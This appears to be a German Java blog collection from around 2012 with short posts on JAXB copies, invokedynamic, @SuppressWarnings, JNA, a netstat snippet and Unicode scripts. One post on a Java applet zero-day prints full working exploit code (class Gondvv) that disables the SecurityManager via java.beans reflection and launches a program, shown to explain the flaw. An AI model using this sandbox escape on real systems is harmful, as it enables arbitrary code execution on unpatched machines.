Tiefe Objektkopien mit JAXB und JAXBSource

Die unmarshal(…)-Methoden ist überladen mit Parametern, die typische Datenquellen repräsentieren, etwa Dateien oder Eingabeströme wie ein Reader. Allerdings sind noch andere Parametertypen interessant, und es lohnt sich, hier einmal in die API-Dokumentation zu schauen. Ein spannender Typ ist javax.xml.transform.Source, beziehungsweise die Implementierung der Schnittstelle durch JAXBSource. JAXBSource ist die Quelle, aus denen JAXB seine Informationen bezieht, um ein neues Java-Objekt zu rekonstruieren.

Das nächste Beispiel nimmt sich ein Objekt room als Basis und erzeugt eine tiefe Kopie davon:

Room room = …

JAXBContext context = JAXBContext.newInstance( Room.class );

Unmarshaller unmarshaller = context.createUnmarshaller();

JAXBSource source = new JAXBSource( context, room );

Room copiedRoom = Room.class.cast( unmarshaller.unmarshal( source ) );

System.out.println( copiedRoom.getPlayers() ); // [com.tutego.insel.xml.jaxb.Player@…]

Das Beispiel zeigt somit, wie sich mit Hilfe von JAXB Objektkopien erzeugen lassen.

Wie funktioniert eigentlich invokedynamic?

Bei invokedynamic sind viel weniger Typinformationen nötig wie bei den anderen vier existierenden Bytecodes für Methodenaufrufe. Generiert wird der Bytecode zum Beispiel von Skriptsprachen, wenn Typinformationen fehlen. Die Compiler der Skriptsprachen nutzen Bytecode-Bibliotheken wie ASM (http://asm.ow2.org/) und umgehen den Java-Compiler zur Erstellung der Klassendateien.

Der neue Bytecode ist die eine Seite. Aber wenn die Typinformationen fehlen, insbesondere der wichtige Empfänger (wie PrintStream bei println()), wie kommt die JVM zur wirklichen Implementierung? Etwa bei unserem Beispiel von isEmpty(s), in dem es ein invokedynamic-Aufruf von s.length() gibt. Der Aufruf muss ja irgendwo landen.

function isEmpty(s) { return s == null || s.length() == 0; }

Zwei Dinge sind hier zusätzlich nötig. Das erste ist, dass es neben dem Aufruf von invokedynamic noch eine zusätzliche Information im Bytecode gibt, nämlich von einer Bootstrap-Methode. Findet die JVM zum ersten Mal ein invokedynamic, dann weiß sie nicht, an wen der Aufruf geht und wendet sich an die Bootstrap-Methode. Zur passenden Auswahl der Zielmethode übergibt die JVM an die Bootstrap-Methode Informationen über Aufrufer und Name, sodass alle wichtigen Informationen zur Auswahl des Ziels vorhanden sind. Hier sind wir nun in der zweiten Hälfte, denn zusätzlich zum neuen Bytecode gibt es ein neues Paket java.lang.invoke. Die Bootstrap-Methode spezifiziert mit der API des neuen Pakets die Zielmethode und gibt diese an die JVM weiter. Wenn das einmal geschehen ist, ist der Aufruf gebunden und die JVM ruft beim dynamischen Aufruf direkt die vom Bootstrap gelieferte Methode auf. Der genaue Ablauf bei den invokedynamic-Aufrufen dokumentiert das Paket.

Der neue Bytecode muss von einer Java 7-JVM unterstützt werden und wird von dynamischen Skriptsprachen generiert, um die Aufrufe schnell von der JVM ausführen zu lassen. Normale Entwickler werden den neuen Bytecode kaum brauchen, und im Quellcode ist er eh nicht sichtbar.

Welche Suppress-Warnings gibt es?

Neben den von Generics kommenden Kennungen rawtype und unchecked gibt es weitere, die allerdings nicht sonderlich gut dokumentiert sind. Das liegt auch daran, dass Meldungen während der Programmübersetzung zur Compilerinfrastruktur gehören und nicht zur Laufzeitumgebung, und damit nicht zur traditionellen Java-API. Der Compiler kann im Prinzip beliebige Codeanalysen beliebiger Komplexität vornehmen und bei vermuteten Fehlern Alarm schlagen. Um wir dürfen auch nicht vergessen, dass es nur Warnungen sind: wer als Programmierer alles richtig macht, wird die Meldungen nicht zu Gesicht bekommen. Dennoch ist es relevant, sie zu kennen, denn der Compiler wird manches Mal etwas anmerken, was Entwickler bewusst nutzen wollen, und dann gilt es, die Meldungen abzuschalten.

Die Macher vom Eclipse-Compiler (JDT) dokumentieren die unterstützten Warnungen unter http://help.eclipse.org/juno/index.jsp?topic=%2Forg.eclipse.jdt.doc.user%2Ftasks%2Ftask-suppress_warnings.htm. Neben den aufgeführten Meldungen all, rawtype und unchecked sind folgende noch interessant:

@SuppressWarnings

Unterdrückt Meldungen für

deprecation

veraltete Elemente, wie new java.util.Date(2012-1970, 3, 3).

incomplete-switch

ausgelassene Aufzählungen in swich-case-Anweisungen.

resource

ein nicht geschlossenes AutoClosable, wie new java.util.Scanner(System.in).nextLine().

serial

eine serialisierbare Klasse, die keine Serialisierung-ID besitzt.

unused

nicht benutzte Elemente, etwa nicht aufgerufene private Methoden.

Einige Werte von @SuppressWarnings

Fetter Java 8b55 change set durch viele Locale/Kalender-Änderungen

Alle Änderungen im Überblick http://download.java.net/jdk8/changes/jdk8-b55.html.

Change-Set: 131a683a2ce0

6336885
RFE: Locale Data Deployment Enhancements

4609153
Provide locale data for Indic locales

5104387
Support for gl_ES locale (galician language)

6337471
desktop/system locale preferences support

7056139
(cal) SPI support for locale-dependent Calendar parameters

7058206
Provide CalendarData SPI for week params and display field value names

7073852
Support multiple scripts for digits and decimal symbols per locale

7079560
[Fmt-Da] Context dependent month names support in SimpleDateFormat

7171324
getAvailableLocales() of locale sensitive services should return the actual availability of locales

7151414
(cal) Support calendar type identification

7168528
LocaleServiceProvider needs to be aware of Locale extensions

7171372
(cal) locale’s default Calendar should be created if unknown calendar is specified

Eclipse-Plugin: Shell-Script-Editor (ShellEd) und Remote System Explorer (RSE)

ShellEd (Bild) ist ein Shell-Script-Editor für Unix-Skripte (also ash, bsh, bash, csh, ksh, sh, zsh). Mit Manual und Vervollständigung. Interessant dazu ist das relativ unbekannte Target Management Project, wo man remote, etwa über SSH oder FTP auf einem Server arbeiten und zum Beispiel Dokumente editieren kann.

Mehr Eclipse-Plugins gibt’s unter http://www.tutego.de/java/eclipse/plugin/eclipse-plugins.html.

Was ist aus Apache Click geworden?

Anfang 2009 schrieb ich im Blog:

Darauf hat die Welt gewartet: Wieder ein neues/altes Web-Framework

Apache Click http://incubator.apache.org/click/ heißt es und läuft ab Java 1.4. Super. Kommt damit 5 Jahre zu spät. Also nix mit Annotationen. Schön XML und so. (Click 0.3 gab es auch schon im März 2005, also ist das Projekt nicht wirklich jung.) Das Wort Ajax taucht auf den ganzen Webseiten nicht auf. Immerhin gibt es eine http://incubator.apache.org/click/docs/click-ide.html auf Eclipse 3.4 Basis. Toll die Antwort auf die Frage "Why develop a new Web Application Framework?" Antwort: "Because the existing frameworks did not meet my needs. Struts doesn’t really do much, while Tapestry is too complicated. For a more comprehensive answer please see Why Click." Klar, als ob es nur Struts und Tapestry gibt. Vor 10 Jahren vielleicht. Bei Struts 1.x ist die Zeit schon lange abgelaufen und bei Tapestry 5 hält man sich noch ein wenig mit DI/IoC über Wasser.

Heute, im Jahr 2012, hat es Click zu einem vollständigen Web-Framework geschafft, die Demos (http://click.avoka.com/click-examples/home.htm) sehen von der Funktionalität OK aus, nur etwas altbacken, etwa so wie Windows 3.1 im Vergleich zu Windows 7.

Das letzte Update von Click ist von März 2011, also 1 1/2 Jahr alt. Das war’s dann wohl.

Java-Sicherheitslücke nach 4 Monaten geschlossen

Nach dem nun herauskam, dass Oracle von der schweren Lücke schon  seit April (!) wusste, hast sich das Unternehmen nun doch genötigt, ein Update zu veröffentlichen. Jeder ist angehalten, das 7u7 sofort (bzw. 6u35) sofort zu installieren.

Achtung: Java 0-day Exploit, es ist ERNST

Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter

Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{
  private static final long serialVersionUID = 1L;

  private void disableSecurity() throws Exception
  {
    Permissions localPermissions = new Permissions();
    localPermissions.add( new AllPermission() );
    CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} );
    ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) };
    AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains );
    Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } );
    expr1.execute();
    Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } );
    expr2.execute();
    Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] );
    ((Field) expr2.getValue()).set( localStatement, localAccessControlContext );
    localStatement.execute();
  }

  @Override
  public void init()
  {
    try {
      disableSecurity();
      Runtime.getRuntime().exec( "calc.exe" ).waitFor();
    }
    catch ( Throwable t ) {
      t.printStackTrace();
    }
  }

  @Override
  public void paint( Graphics g )
  {
    g.drawString( "Loading", 50, 25 );
  }
}

PFGrid SWT Komponenten

PFGrid SWT (http://www.pfgrid.com/Index_Eclipse.aspx) ist ein TreeList- und Grid-SWT-Widget mit einem dynamischen Renderer-Ansatz, so dass das Control wahlweise in Windows-XP, Vista- oder Office2007-style dargestellt werden kann.

PFGrid.SWT EclipsePFNavigationBar.SWT EclipsePFPanel.SWT EclipsePFButton.SWT EclipsePFReflectionImage.SWT EclipsePFProgressBar.SWT: ProgressBar and state-control for JAVA SWTPFCheckBox.SWT: Custom Checkbox-widget for SWT JAVAPFHyperlink.SWT: Hyperlinks for JAVAPFRoundedToolbar.SWT: Toolbar-widget for JAVA

Eigene Renderer sind einfach zu implementieren. Beliebige SWT- aber auch Swing-controls können als Cell-Editoren verwendet werden. Das Grid verfügt über Features wie Excel-cell-copy oder Outlook-like grouping für Spalten, was für SWT-Grids einzigartig ist. JFace-Viewer für Table- und Tree-Darstellungen runden das widget ab. PFGrid kann als Eclipse-Plugin aber auch als standalone-jar in jeder Java-Applikation verwendet werden. Neben dem PFGrid-Widget wird auch ein Outlook-like NavigationBar-Widget mitgeliefert. Es handelt sich um eine kommerzielle Bibliothek.

Snippet: NETSTAT in Java with command line call

import java.io.IOException;
import java.util.*;
import java.util.regex.Pattern;

public class Netstat
{
  public static class Protocoll
  {
    public String protocoll;
    public String localAddress;
    public String remoteAddress;
    public String status;

    public Protocoll( String protocoll, String localAddress, String remoteAddress, String status )
    {
      this.protocoll = protocoll;
      this.localAddress = localAddress;
      this.remoteAddress = remoteAddress;
      this.status = status;
    }

    @Override
    public String toString()
    {
      return String.format( "%-6s %-22s %-22s %s", protocoll, localAddress, remoteAddress, status );
    }
  }

  public static void main( String[] args ) throws IOException
  {
    for ( Protocoll p : netStat() )
      System.out.println( p );
  }

  public static Iterable<Protocoll> netStat() throws IOException
  {
    Collection<Protocoll> result = new ArrayList<>();
    ProcessBuilder builder = new ProcessBuilder( "netstat", "-n" );
    Process p = builder.start();
    try ( Scanner scanner = new Scanner( p.getInputStream() ) ) {
      Pattern pattern = Pattern.compile( "(TCP|UDP)\\s+(\\S+)\\s+(\\S+)\\s+(\\S+)" );
      while ( scanner.findWithinHorizon( pattern, 0 ) != null )
        result.add( new Protocoll( scanner.match().group( 1 ), scanner.match().group( 2 ), scanner.match().group( 3 ), scanner.match().group( 4 ) ) );
    }
    return result;
  }
}

This leads to something like

TCP    127.0.0.1:16709        127.0.0.1:49159        HERGESTELLT

TCP    127.0.0.1:19872        127.0.0.1:49176        HERGESTELLT

TCP    127.0.0.1:49159        127.0.0.1:16709        HERGESTELLT

TCP    127.0.0.1:49176        127.0.0.1:19872        HERGESTELLT

TCP    127.0.0.1:49189        127.0.0.1:49190        HERGESTELLT

TCP    127.0.0.1:49190        127.0.0.1:49189        HERGESTELLT

BridJ

BridJ verfolgt den gleichen Ansatz wie JNA, kann also auch aus Java heraus nativen Code von C(++) und auch Objective-C ansprechen. Nur steht es als quelloffene Bibliothek nicht unter der LGPL, sondern unter der BSD/Apache-Lizenz. Zudem ist es aktueller, nutzt Generics (was es abhängig von Java 5 macht, JNA benötigt nur 1.4) und diverse Tricks, um noch performantere native Aufrufe zu realisieren. Auch kann es besser mit den Eigenschaften von C++ umgehen, wie virtuellen Methodenaufrufen, Vererbung und Templates „verstehen“. Regelmäßige Updates gibt es für die Systeme Windows (x86, x64), Linux (x86, x64, arm32), Mac OS X (x86, x64, PPC), Solaris 10 (x86, bald x64 und SPARC), Android 3.0 (ARMv5) und experimentell auf jailbroken iOS iPhones (ARM). Ob das ältere JNA oder BridJ besser ist, muss im Einzelfall evaluiert werden. JNAerator unterstützt ebenfalls BidJ zur Generierung der typisierten Schnittstellen und Übergabeobjekten.

JNA (Java Native Access)

Eine Bibliothek zum Ansprechen dynamischer Bibliotheken ohne JNA-Kontakt und damit ohne C(++)-Compiler ist JNA (Java Native Access). Beheimatet ist das Projekt unter https://github.com/twall/jna/  und es steht unter der Lizenzform LGPL. JNA benötigt nur das Archiv jna.jar im Klassenpfad und geht dann fast von selbst zur dynamischen Bibliotheken. Verschiedene Plattformen werden unterstützt, dazu zählen Windows, Linux und Mac OS X.

Zur dem Zugriff müssen allerdings Java-Schnittstellen als typisierte Versionen der nativen Funktionen deklariert werden, damit auch die Datentypen von der Java-Seite automatisch auf Datentypen der nativen Seite gemappt werden können. Die Dokumentation unter https://github.com/twall/jna/blob/master/www/GettingStarted.md  eigt ein Beispiel (hier etwas gekürzt):

import com.sun.jna.*;

public class HelloWorld {
  public interface CLibrary extends Library {
    CLibrary INSTANCE = (CLibrary) Native.loadLibrary( Platform.isWindows() ? "msvcrt" : "c",
                                                       CLibrary.class );
    void printf( String format, Object... args );
  }

  public static void main( String[] args ) {
    CLibrary.INSTANCE.printf( "Hello, World\n" );
    for ( int i = 0; i < args.length; i++ )
      CLibrary.INSTANCE.printf( "Argument %d: %s\n", i, args[ i ] );
  }
}

Die Übertragung der Funktionen von der C-Seite in Java-Schnittstellen – wie CLibrary in dem Beispiel – kann auch mit JNAerator (http://code.google.com/p/jnaerator/) automatisiert werden.

Snippet: List all MessageDigest provider

Pattern digestPattern = Pattern.compile( "^(Alg\\.Alias\\.)?MessageDigest\\.(?<alg>(\\w|-)+)" );
for ( Provider p : Security.getProviders() ) {
  for ( Object o : Collections.list( p.keys() ) ) {
    for ( Matcher m = digestPattern.matcher( o.toString() ); m.find(); )
      System.out.println( m.group("alg") );
  }
}

The result is:

SHA-1 SHA MD5 SHA-384 SHA-512 SHA1 SHA MD5 SHA-256 MD2

Also look at http://download.java.net/jdk8/docs/technotes/guides/security/StandardNames.html.

Unicode-Skripte

Neben den Unicode-Blöcken gibt es noch ein anderen Konzept, was vielleicht noch wichtiger als die Blöcke selbst sind: Unicode-Skripte. Darunter ist eine Gruppe von Zeichen für eine Sprache (in der Regel) zu verstehen.[1] Um den Unterschied zu Blöcken noch einmal zusammenzufassen:

· Ein Unicode-Block ist ein einfacher von-bis-Bereich, und Stellen können für die spätere Belegung leer sein.

· Ein Unicode-Skript enthält keine freien Positionen.

· Zeichen eines Unicode-Skripts können aus verschiedenen Unicode-Blöcken stammen.

· Zeichen aus einem Block können in verschiedenen Unicode-Skripten auftauchen.

Auch für Skripte bietet Java in der Klasse Character ein öffentliches statische innere Attribut, wobei das erst seit Java 7 existiert und Oracle hier ein moderneres enum gewählt hat. Character.UnicodeScript besteht aus einer Reihe von Konstanten, wobei die Namen nach ISO 15924[2] gewählt sind. Auch gibt es eine of(int) Methode um das Skript für ein Zeichen zu erfragen und ein UnicodeScript-Objekt kann über forName(String) mit einem Namen aufgebaut werden.

Auch wenn die Character und String-Klasse arm an weiteren Methoden zu den Unicode-Blöcken und Unicode-Skripten ist, gibt es doch Unterstützung von ganz anderer Stellen: Von den regulären Ausdrücken. Sie können testen, ob Zeichen in gewissen Skripten oder Blöcken sind und damit Zeichen in Teilstrings aufspüren, sie löschen und entfernen. (Wir springen nun thematisch etwas vor.) Die Syntax in den regulären Ausdrücken ist \p{script=Skriptname} bzw. \p{block=Blockname} (auch der Präfix Is oder In ist erlaubt ohne Nutzung vom script=/block=-Konstrukt). Achtung, Nicht alle Unicode-Skripts werden unterstützt!

Beispiel

Teste drei Zeichen, ob sie arabisch sind:

System.out.println( "ح".matches( "\\p{script=Arabic}" ) ); // true

System.out.println( "ح".matches( "\\p{IsArabic}" ) ); // true

System.out.println( "ש".matches( "\\p{IsArabic}" ) ); // false

System.out.println( "1".matches( "\\p{IsArabic}" ) ); // false


[1] Siehe auch http://www.unicode.org/reports/tr24/.

[2] http://unicode.org/iso15924/iso15924-codes.html